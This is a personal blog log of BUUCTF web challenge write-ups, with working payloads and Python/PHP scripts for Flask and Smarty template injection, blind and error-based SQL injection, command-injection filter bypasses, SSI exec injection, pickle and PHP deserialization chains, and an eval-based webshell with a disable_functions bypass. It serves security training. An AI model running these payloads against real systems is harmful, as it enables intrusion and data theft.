BUU日常刷题记录

回归初心,刷题快乐。

[WesternCTF2018]shrine

源码

import flask
import os

app = flask.Flask(__name__)

app.config['FLAG'] = os.environ.pop('FLAG')


@app.route('/')
def index():
    return open(__file__).read()


@app.route('/shrine/<path:shrine>')
def shrine(shrine):

    def safe_jinja(s):
        s = s.replace('(', '').replace(')', '')
        blacklist = ['config', 'self']
        return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s

    return flask.render_template_string(safe_jinja(shrine))


if __name__ == '__main__':
    app.run(debug=True)

可以读取到的信息:

  • 配置信息:服务器是python的flask模板,config内有FLAG参数。
  • 路由信息:根目录返回文件源码;/shrine/<path:shrine>下存在模板注入。
  • 过滤了两个黑名单config、self,过滤了括号。
  • 开启了debug模式。

想读取config,但是发现被过滤了,这个时候就要考虑flask模板下的两个重要参数。

  • {{url_for.__global__}} # 全局函数
  • {{get_flashed_messages()}} # 内置函数

获取flag方式:

{{url_for.__global__['current_app'].config['FLAG']}}

或者

{{get_flashed_messages.__globals__['current_app'].config['FLAG']}}

该函数返回之前在Flask中通过 flash() 传入的闪现信息列表。把字符串对象表示的消息加入到一个消息队列中,然后通过调用 get_flashed_messages() 方法取出(闪现信息只能取出一次,取出后闪现信息会被清空)。

[BJDCTF 2nd]简单注入

我又没有看到hint.txt,真是搞人心态。

拿到数据库查询代码:

select * from users where username='$_POST["username"]' and password='$_POST["password"]';

这个就比较好分析了,提交参数username时,使用反斜杠注释单引号,使用注释绕过空格过滤:

username=admin\&password=/**/or/**/1>0#
username=admin\&password=/**/or/**/1<0#

执行两段话可以得到不一样的回显,很容易想到可以用盲注。

import requests

url = "http://0dafba8b-3cf1-4b74-9b9a-9195b5f5e6b0.node3.buuoj.cn/index.php"


def submit1():
    data = {"username": "admin\\", "password": ""}
    result = ""
    i = 0
    while True:
        i = i + 1
        for j in range(32, 128):
            payload = "or/**/if(ascii(substr(password,%d,1))<%d,1,0)#" % (i, j)
            data['password'] = payload
            response = requests.post(url=url, data=data)

            if "stronger" in response.text:
                result += chr(j - 1)
                print(payload)
                print(result)
                break
            else:
                if j == 127:
                    return result


def submit2():
    data = {"username": "admin\\", "password": ""}
    result = ""
    i = 0
    while True:
        i = i + 1
        head = 32
        tail = 127

        while head < tail:
            mid = (head + tail) >> 1
            payload = "or/**/if(ascii(substr(password,%d,1))>%d,1,0)#" % (i, mid)
            data['password'] = payload
            response = requests.post(url=url, data=data)

            if "stronger" in response.text:
                head = mid + 1
            else:
                tail = mid

        if head != 32:
            result += chr(head)
        else:
            break
        print(result)
    return result


if __name__ == "__main__":
    print(submit1())

[WUSTCTF2020]朴实无华

先访问index.php,云里雾里的警告提示。

手动尝试找了几个敏感文件,发现存在robots.txt,访问得假flag。

没啥头绪,有点离谱,后来看wp知道网络中文件头存在提示,又不细心了。

访问拿到源码,比较烦的是编码解析问题,需要换个编码。

<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);


//level 1
if (isset($_GET['num'])){
    $num = $_GET['num'];
    if(intval($num) < 2020 && intval($num + 1) > 2021){
        echo "我不经意间看了看我的劳力士,不是想看时间,只是想不经意间,让你知道我过的比你好.</br>";
    }else{
        die("金钱解决不了穷人的本质问题");
    }
}else{
    die("去非洲吧");
}
//level 2
if (isset($_GET['md5'])){
    $md5=$_GET['md5'];
    if ($md5==md5($md5))
        echo "想到这个CTFer拿到flag后,感激涕零,跑去东澜岸,找一家餐厅,把厨师轰出去,自己炒两个拿手小菜,倒一杯散装白酒,致富有道,别学小暴.</br>";
    else
        die("我赶紧喊来我的酒肉朋友,他打了电话,把他一家安排到了非洲");
}else{
    die("去非洲吧");
}

//get flag
if (isset($_GET['get_flag'])){
    $get_flag = $_GET['get_flag'];
    if(!strstr($get_flag," ")){
        $get_flag = str_ireplace("cat", "wctf2020", $get_flag);
        echo "想到这里,我充实而欣慰,有钱人的快乐往往就是这么的朴实无华,且枯燥.</br>";
        system($get_flag);
    }else{
        die("快到非洲了");
    }
}else{
    die("去非洲吧");
}
?>

第一关需要变量num小于2020,且+1后大于2021。很容易想到是PHP弱类型比较。intval() 函数将括号内的值转换为整型,可以通过科学计数法来进行绕过。

注意这个绕过方式只能在PHP5.5的版本进行复现,我在PHP7的版本及以上复现失败。

echo intval(1e10);    // 10000000000
echo intval('1e10');  // 1

提交payload:

num=2e4

第二关是MD5等于自身的绕过方式,这类的值在网上有很多,原理是0e开头的值可以绕过。

md5=0e215962017

第三关是命令注入,但是过滤了 cat 和空格,空格可以使用 $IFS 代替,cat 可以用 tac

get_flag=tac$IFS$9fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag
num=2e4&md5=0e215962017&get_flag=tac$IFS$9fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag

[极客大挑战 2019]FinalSQL

这老哥出的题做了好几次 了,一模一样的模板。

有id参数,长着就像盲注。

exp:

import requests


if __name__ == "__main__":
    string = ""
    for i in range(1, 256):
        left = 32
        right = 127
        mid = (left + right) // 2
        while left < right:
            ch = chr(mid)
            sql = "1^(ord(substr((select(group_concat(schema_name))from(information_schema.schemata)),%d,1))>%d)^1" % (i, mid)
            url = f'http://a10fc172-5571-460a-9f76-93eb2e9486fd.node3.buuoj.cn/search.php?id={sql}'
            # print(url)
            response = requests.get(url)
            if response.text.find("NO! Not t") == -1:
                right = mid
            else:
                left = mid + 1
            mid = (left + right) // 2
        string += chr(mid)
        print(string)

爆库名

sql = "1^(ord(substr((select(group_concat(schema_name))from(information_schema.schemata)),%d,1))>%d)^1" % (i, mid)

爆表名

sql = "1^(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)='geek'),%d,1))>%d)^1" % (i, mid)

爆字段

sql = "1^(ord(substr((select(group_concat(schema_name))from(information_schema.schemata)),%d,1))>%d)^1" % (i, mid)

拿flag

            sql = "1^(ord(substr((select(group_concat(fl4gawsl))from(Flaaaaag)),%d,1))>%d)^1" % (i, mid)

然后发现爆错表了2333……

            sql = "1^(ord(substr((select(group_concat(password))from(F1naI1y)),%d,1))>%d)^1" % (i, mid)

最后,鄙视一下盲注题打广告的出题人……太浪费时间了。

[MRCTF2020]PYWebsite

[NPUCTF2020]ReadlezPHP

简单的反序列化变量覆盖。

O:8:"HelloPhp":2:{s:1:"a";s:9:"phpinfo()";s:1:"b";s:6:"assert";}

[BJDCTF2020]EasySearch

今天又是不开扫描器败北的一天。

.swp源码泄露。

<?php
	ob_start();
	function get_hash(){
		$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
		$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times
		$content = uniqid().$random;
		return sha1($content); 
	}
    header("Content-Type: text/html;charset=utf-8");
	***
    if(isset($_POST['username']) and $_POST['username'] != '' )
    {
        $admin = '6d0bc1';
        if ( $admin == substr(md5($_POST['password']),0,6)) {
            echo "<script>alert('[+] Welcome to manage system')</script>";
            $file_shtml = "public/".get_hash().".shtml";
            $shtml = fopen($file_shtml, "w") or die("Unable to open file!");
            $text = '
            ***
            ***
            <h1>Hello,'.$_POST['username'].'</h1>
            ***
			***';
            fwrite($shtml,$text);
            fclose($shtml);
            ***
			echo "[!] Header  error ...";
        } else {
            echo "<script>alert('[!] Failed')</script>";
            
    }else
    {
	***
    }
	***
?>

老规矩分析一下源码,当password满足一定的条件时,将username写入文件public/get_hash(),shtml。

先爆破一下admin:

import hashlib


def md5(string):
    return hashlib.md5(string.encode('utf-8')).hexdigest()


for i in range(10000000):
    if md5(str(i))[:6] == '6d0bc1':
        print(i)
        break

爆出来是2020666,提交后,通过抓包可以看到返回的值中有隐藏的文件名

直接访问可以读取文件。

这里涉及到了一个比较陌生的文件格式即shtml,可能存在SSI注入,详见:

https://shuaizhupeiqi.github.io/2018/11/17/SSI%E6%9C%8D%E5%8A%A1%E5%99%A8%E6%B3%A8%E5%85%A5/

当我们传入参数

username=<!--#exec cmd="ls ../"-->
password=2020666

时,将命令执行结果写入文件(这里有一层目录穿越),访问可得:

读取flag

username=<!--#exec cmd="cat ../flag_990c66bf85a09c664f0b6741840499b2"-->
password=2020666

[GYCTF2020]FlaskApp

起先我以为是利用flask报错的交互式shell,但是Ping值还是缺了那么几个信息。

最后试了一下在解密过程中存在SSTI。

{{config}}

遍历找利用类读取文件(写成payload时要删除换行):

{% for c in [].__class__.__base__.__subclasses__() %}
    {% if c.__name__=='catch_warnings' %}
        {{ c.__init__.__globals__['__builtins__'].open('app.py','r').read() }}
    {% endif %}
{% endfor %}

或者写个py脚本遍历也是可以的,不过很花时间:

{{[].__class__.__base__.__subclasses__()[%s].__name__}}

拿到WAF:

def waf(str): 
  black_list = ['flag', 'os', 'system', 'popen', 'import', 'eval', 'chr', 'request', 'subprocess', 'commands', 'socket', 'hex', 'base64', '*', '?']
  for x in black_list: 
    if x in str.lower(): 
      return 1

遍历目录:遍历目录存在函数listdir()。

{% for c in [].__class__.__base__.__subclasses__() %}
    {% if c.__name__=='catch_warnings' %}
        {{ c.__init__.__globals__['__builtins__']['__im'+'port__']('o'+'s').listdir('/')}}
    {% endif %}
{% endfor %}

拿到目录

 [&#39;bin&#39;, &#39;boot&#39;, &#39;dev&#39;, &#39;etc&#39;, &#39;home&#39;, &#39;lib&#39;, &#39;lib64&#39;, &#39;media&#39;, &#39;mnt&#39;, &#39;opt&#39;, &#39;proc&#39;, &#39;root&#39;, &#39;run&#39;, &#39;sbin&#39;, &#39;srv&#39;, &#39;sys&#39;, &#39;tmp&#39;, &#39;usr&#39;, &#39;var&#39;, &#39;this_is_the_flag.txt&#39;, &#39;.dockerenv&#39;, &#39;app&#39;]

读取this_is_the_flag.txt文件。

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/this_is_the_fl'+'ag.txt','r').read() }}{% endif %}{% endfor %}

这题编码很迷惑,{}之间不能有空格,不然会报错,read()函数后又必须加空格,也不清楚啥原理。

[CISCN2019 华北赛区 Day1 Web2]ikun

爆lv6

import requests

for i in range(512):
    url = f"http://78cd9dcd-96d8-4fb8-9785-be448ad9dc9e.node3.buuoj.cn/shop?page={i}"
    response = requests.get(url=url)
    if response.text.find("lv6.png") != -1:
        print(i)
        break

在181页,抓包修改折扣倍率,跳转到b1g_m4mber,提示需要admin才能访问

抓包发现是JWT认证

使用c-jwt-cracker爆破

$ docker build . -t jwtcrack
$ docker run -it --rm  jwtcrack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imd1ZXN0In0.dDz06h0lkd5_0DT8vUVcGLBGvX2btxx2AyJJCQWkEoQ
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.40on__HQ8B2-wM1ZSwax3ivRK4j54jlaXv-1JjQynjo

有源码泄露

在Admin.py中找到反序列化点。

import tornado.web
from sshop.base import BaseHandler
import pickle
import urllib


class AdminHandler(BaseHandler):
    @tornado.web.authenticated
    def get(self, *args, **kwargs):
        if self.current_user == "admin":
            return self.render('form.html', res='This is Black Technology!', member=0)
        else:
            return self.render('no_ass.html')

    @tornado.web.authenticated
    def post(self, *args, **kwargs):
        try:
            become = self.get_argument('become')
            p = pickle.loads(urllib.unquote(become))
            return self.render('form.html', res=p, member=1)
        except:
            return self.render('form.html', res='This is Black Technology!', member=0)

python反序列化只是听过,没有实战过。__reduce__方法在反序列化时被调用,类似PHP的wakeup,参考王叹之的脚本。

import pickle
import urllib

class payload(object):
    def __reduce__(self):
       return (eval, ("open('/flag.txt','r').read()",))

a = pickle.dumps(payload())
a = urllib.quote(a)
print a

比较重要的是这题的环境是python2的,python2和python3的反序列化是不一样的,当时卡了比较久。

https://www.k0rz3n.com/2018/11/12/%E4%B8%80%E7%AF%87%E6%96%87%E7%AB%A0%E5%B8%A6%E4%BD%A0%E7%90%86%E8%A7%A3%E6%BC%8F%E6%B4%9E%E4%B9%8BPython%20%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/

[WUSTCTF2020]颜值成绩查询

盲注乱杀

import requests

if __name__ == "__main__":
    result = ""
    i = 0
    while True:
        i = i + 1
        head = 32
        tail = 127

        while head < tail:
            mid = (head + tail) >> 1
            # sql = "select(database())"
            # sql = "select/**/group_concat(distinct/**/TABLE_NAME)from(information_schema.tables)where(table_schema='ctf')"
            # sql = "select/**/group_concat(distinct/**/COLUMN_NAME)from(information_schema.columns)where(table_schema='ctf')and(table_name='flag')"
            sql = "select/**/group_concat(value)from(ctf.flag)"
            payload = "1^(ascii(substr((%s),%d,1))>%d)^1" % (sql, i, mid)
            url = "http://14753567-1903-42c7-ba3e-0e698232711b.node3.buuoj.cn/?stunum=" + payload
            response = requests.get(url=url)
            # print(url)
            # print(response.text)

            if "Hi admin, your score is: 100" in response.text:
                head = mid + 1
            else:
                tail = mid

        if head != 32:
            result += chr(head)
        else:
            break
        print(result)

[CISCN2019 华东南赛区]Web11

smarty模板注入,没有过滤,payload:

{if show_source('/flag')}{/if}
{readfile('/flag')}

[极客大挑战 2019]RCE ME

<?php
error_reporting(0);
if(isset($_GET['code'])){
    $code=$_GET['code'];
    if(strlen($code)>40){
        die("This is too Long.");
    }
    if(preg_match("/[A-Za-z0-9]+/",$code)){
        die("NO.");
    }
    @eval($code);
}
else{
    highlight_file(__FILE__);
}
?>

无字母shell题,第一反应就是P牛的那篇文章了。利用取反获得。

<?php
	echo urlencode(~'phpinfo');

//?code=(~%8F%97%8F%96%91%99%90)();

读取phpinfo文件,可以发现禁用了大部分命令执行的函数。

同理,执行回调函数,蚁剑连接。

<?php 
error_reporting(0);

$a=urlencode(~'assert');

$b=urlencode(~'(eval($_POST["a"]))');

echo '(~' . $a . ')(~' . $b . ');';
 
 ?>

发现没有权限读取flag,但是有readflag文件,应该是利用该文件读取,但是本地虚拟终端执行没有回显。

于是利用蚁剑的bypass的插件来bypass disable_functions。该插件的利用原理大概在这里,利用历代php的漏洞来进行绕过。我们使用PHP_GC_UAF,该漏洞利用堆溢出执行命令,使用版本7.0-7.3。

读取flag。

[MRCTF2020]Ezpop

<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
}

经典的反序列化链题,整个链子利用规律比较明显,题目也比较有意思,毕竟自己之前没有挖过几条完整的链子。

回顾一下反序列化的函数:

__construct()//当一个对象创建时被调用
__destruct() //当一个对象销毁时被调用
__toString() //当一个对象被当作一个字符串使用
__sleep()//在对象在被序列化之前运行
__wakeup()//将在反序列化之后立即被调用(通过序列化对象元素个数不符来绕过)
__get()//获得一个类的成员变量时调用
__set()//设置一个类的成员变量时调用
__invoke()//调用函数的方式调用一个对象时的回应方法
__call()//当调用一个对象中的不能用的方法的时候就会执行这个函数
class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

首先是Modifier类,这里有个包含文件的操作,于是推测这里可以包含flag.php文件:

class Modifier {
    protected  $var = 'php://filter/read=convert.base64-encode/resource=flag.php';

}
$modifier = new Modifier();

如果要调用append()函数,需要调用__invoke(),该函数在对象被通过函数的方式调用时调用。于是可以很容易找到这样的类。

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

Test类的魔术方法__get传入动态变量调用函数,如果这时传入的函数$function变量为Modifier类,就可以调用__invoke。可以这样构造链:

class Modifier {
    protected  $var = 'php://filter/read=convert.base64-encode/resource=flag.php';

}
class Test{
    public $p;
}
$modifier = new Modifier();
$test = new Test();
$test->p = $modifier;

之后就是找可以调用Test类的__get魔术方法的类了。

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

Show类中有两个魔术方法,那么主要看__toString()函数,该函数最终return $this->str->source。这边比较绕,思路也很巧妙,__wakeup()函数对$this->source进行了参数过滤,其中将$this->source当做字符串,如果$sourceShow类型变量,那么就会触发类的__toString,该构造链就可以构造成功了。所以我们需要创建一个Show变量,用$Show->source存储另一个Show类变量,该变量的$str变量为Test变量,调用该变量的$source变量(尽管为空),触发__get方法。

我们先创建一个Show类型的变量,存储$test变量。

<?php
class Modifier {
    protected  $var = 'php://filter/read=convert.base64-encode/resource=flag.php';
}

class Show{
    public $source;
    public $str;
}

class Test{
    public $p;
}

$modifier = new Modifier();
$test = new Test();
$test->p = $modifier;
$show1 = new Show();
$show1->str=$test;

接着创建第二个Show类型的变量,将之前创建的Show变量作为Source:

$show2 = new Show();
$show2->source=$show1;

然后反序列化可解。

<?php
class Modifier {
    protected  $var = 'php://filter/read=convert.base64-encode/resource=flag.php';
}

class Show{
    public $source;
    public $str;
}

class Test{
    public $p;
}

$modifier = new Modifier();
$test = new Test();
$test->p = $modifier;
$show1 = new Show();
$show1->str=$test;
$show2 = new Show();
$show2->source=$show1;
echo urlencode(serialize($show2));

[GWCTF 2019]枯燥的抽奖

广外的,当年还打过。

接口请求了check.php

写脚本:

<?php

mt_srand($_SESSION['seed']);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";

$str_show = 'faANNqh47O';

for ($value = 0; $value < strlen($str_show); $value++) {
    echo strpos($str_long1, substr($str_show, $value, 1)) . ' ' . strpos($str_long1, substr($str_show, $value, 1)) . ' 0 61  ';
}

php_mt_seed爆破

写个脚本代入就出了

<?php
mt_srand(50560444);

$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
    $str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);
}
echo $str;

?>

这题比较坑的是PHP版本必须在7.1以上,我拿着5.6去弄,就踩坑了,贼恶心,不够细心。

[PwnThyBytes 2019]Baby_SQL

source.zip文件泄露,审计源码

index.php中对所有输入的参数进行了单双引号以及反斜杆的过滤,这里不可注或者说难以注入。

<?php
session_start();

foreach ($_SESSION as $key => $value): $_SESSION[$key] = filter($value); endforeach;
foreach ($_GET as $key => $value): $_GET[$key] = filter($value); endforeach;
foreach ($_POST as $key => $value): $_POST[$key] = filter($value); endforeach;
foreach ($_REQUEST as $key => $value): $_REQUEST[$key] = filter($value); endforeach;

function filter($value)
{
    !is_string($value) AND die("Hacking attempt!");

    return addslashes($value);
}

isset($_GET['p']) AND $_GET['p'] === "register" AND $_SERVER['REQUEST_METHOD'] === 'POST' AND isset($_POST['username']) AND isset($_POST['password']) AND @include('templates/register.php');
isset($_GET['p']) AND $_GET['p'] === "login" AND $_SERVER['REQUEST_METHOD'] === 'GET' AND isset($_GET['username']) AND isset($_GET['password']) AND @include('templates/login.php');
isset($_GET['p']) AND $_GET['p'] === "home" AND @include('templates/home.php');

?>

login.php主要是对数据库进行SELECT操作,这里的usernmae可控,可以注入,那么我们需要绕过index.php的WAF来直接对login.php进行SQL注入,主要的就是绕过SESSION检测。

<?php

!isset($_SESSION) AND die("Direct access on this script is not allowed!");
include 'db.php';

$sql = 'SELECT `username`,`password` FROM `ptbctf`.`ptbctf` where `username`="' . $_GET['username'] . '" and password="' . md5($_GET['password']) . '";';
$result = $con->query($sql);

function auth($user)
{
    $_SESSION['username'] = $user;
    return True;
}

($result->num_rows > 0 AND $row = $result->fetch_assoc() AND $con->close() AND auth($row['username']) AND die('<meta http-equiv="refresh" content="0; url=?p=home" />')) OR ($con->close() AND die('Try again!'));

?>

由于这里来判断是否登录只是单纯的判断了是否设置了SESSION,那么我们可以自己设置SESSION。这里用到SESSION_UPLOAD_PROGRESS,具体参见这篇文章:https://xz.aliyun.com/t/9545。由于没有回显,用了盲注。写了一个时间复杂度还算可以的脚本,凑合着用吧。

import requests


def post(i, j):
    sessid = 'tmp' #设置sessionid为cookie,与文件名相关联
    session = requests.session()
    payload = "admin\" or (ascii(substr((select secret from flag_tbl),%d,1))>%d)#" % (i, mid)
    response = session.post(
        url='http://6d257146-aac3-43a9-b036-cb2992e4d11e.node3.buuoj.cn/templates/login.php',
        data={'PHP_SESSION_UPLOAD_PROGRESS': "file_content"},
        cookies={'PHPSESSID': f'{sessid}'},
        files={"file": ('tmp.txt', '')},
        params={
            "username": payload,
            "password": "123456"
        }
    )

    return response.text


if __name__ == '__main__':
    flag = ''
    for i in range(1, 50):
        low = 32
        high = 128
        mid = (low + high) // 2
        while low < high:
            res = post(i, mid)
            if 'meta' in res:
                low = mid + 1
            else:
                high = mid
            mid = (low+high)//2
        if mid <= 32 or mid >= 127:
            break
        flag = flag+chr(mid)
        print(flag)

[RCTF2015]EasySQL

进入后台之后有个修改密码功能,猜报错注入。注册页面有危险字符过滤,由于BUU的靶机顶不住fuzz,只能稍微fuzz了一下,一堆429,发现反斜杠、括号以及单双引号还是都能用。

因为没有白盒,尝试注入一下,这里的注入语句比较骚,我自己没猜到。

注册之后修改密码,可以看到报错提示:

那么可以猜出来查询语句的结构:

select * from user where username="{$username}" and pwd='{md5($password)}'

比较难搞的就是pwd的变量是有经过md5编码的,那么注入点就只能从$username搞起来了。又是二次注入,每次都需要注册再修改,很蛋疼。尝试报错注入,由于不能扫,本地拼接了再远程,很麻烦:

admin"||updatexml(1,concat(0x7e,(version()),0x7e),1);#
admin"||updatexml(1,concat(0x7e,(select(group_concat(TABLE_SCHEMA))from(information_schema.tables)),0x7e),1);#

(太长了出不来,建议直接database()好吧)

admin"||updatexml(1,concat(0x7e,(select(group_concat(TABLE_NAME))from(information_schema.tables)WHERE(TABLE_SCHEMA=database())),0x7e),1);#
admin"||updatexml(1,concat(0x7e,(select(group_concat(COLUMN_NAME))from(information_schema.columns)WHERE(TABLE_NAME='users'))),1);#
admin"||updatexml(1,concat(0x7e,(select(real_flag_1s_here)from(users))),1);#

强行填充长度,很恶心,有两种方法,逆序输出或着截取字符串这种截取字符串的方法,或者正则表达式匹配。

admin"||(updatexml(1,concat(0x3a,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f'))),1))#
admin"||(updatexml(1,concat(0x3a,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f')))),1));#

口嗨一下,以后二次注入一定要写脚本,手动二次修改不是人干的事情,参考peri0d师傅的脚本,那就一个舒服:

import requests

url_reg = 'http://7e4dcf86-135f-4bad-98e0-1b7ad8318aad.node2.buuoj.cn.wetolink.com:82/register.php'
url_log = 'http://7e4dcf86-135f-4bad-98e0-1b7ad8318aad.node2.buuoj.cn.wetolink.com:82/login.php'
url_change = 'http://7e4dcf86-135f-4bad-98e0-1b7ad8318aad.node2.buuoj.cn.wetolink.com:82/changepwd.php'

pre = 'peri0d"'
suf = "'))),1))#"

s = 'abcdefghijklmnopqrstuvwxyz1234567890'
s = list(s)

r = requests.session()

def register(name):
	data = {
		'username' : name,
		'password' : '123',
		'email' : '123',
	}
	r.post(url=url_reg, data=data)

def login(name):
	data = {
		'username' : name,
		'password' : '123',
	}
	r.post(url=url_log, data=data)
	
def changepwd():
	data = {
		'oldpass' : '',
		'newpass' : '',
	}
	kk = r.post(url=url_change, data=data)
	if 'target' not in kk.text:
		print(kk.text)

for i in s:
	paylaod = pre + "||(updatexml(1,concat((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('" + i + suf
	register(paylaod)
	login(paylaod)
	changepwd()

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇